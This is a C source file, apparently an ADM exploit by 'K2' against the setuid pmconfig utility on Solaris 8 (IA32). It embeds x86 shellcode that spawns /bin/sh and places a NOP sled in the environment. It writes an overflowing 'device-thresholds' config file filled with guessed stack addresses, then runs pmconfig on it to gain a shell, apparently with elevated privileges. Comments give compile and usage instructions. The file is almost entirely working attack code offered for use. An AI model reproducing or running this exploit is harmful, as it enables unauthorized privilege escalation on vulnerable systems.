/* Copyright (c) 2001 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: Solaris 8 pmconfig (IA32) */
/* Tested under: Soilaris 8 + patch 108529-05 */
/* (4349393 potential security problem in pmconfig)*/
/* REQUIRES: You must be the console owner, or what is */
/* listed in /etc/default/power :( */
/* By: K2 */
/* Use: gcc -o sol-pmconfig sol-pmconfig.c */
/* (maby do sparc later) */
/* */

#include <stdio.h>
#include <stdlib.h>

#define SIZE 1000
#define NOPDEF 800
#define DEFOFF 2000

char *shell =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff";

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[], char *envp[]) {
const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF,i;
char buffer[SIZE],buffer2[SIZE];
FILE *expfil;

if (argc > 1) offset += strtol(argv[1], NULL, 0);
esp = get_esp() + offset;

strcpy(buffer,*envp);
memset((void *) strstr(buffer,"=")+1, x86_nop, SIZE);
memcpy(buffer+(SIZE-strlen(shell)), shell, strlen(shell));

for (i = 2; i < SIZE-4; i += 4) {
*((int *) &buffer2[i]) = esp;
}
memcpy(buffer2, "device-thresholds /",19);

putenv(buffer);

expfil = fopen("pmc","w+");
fwrite(buffer2,SIZE,1,expfil);
fclose(expfil);

fprintf(stderr,"offset = 0x%x\n",esp);
execl("/usr/sbin/pmconfig","pmconfig","-f","pmc",NULL);
return 0;
}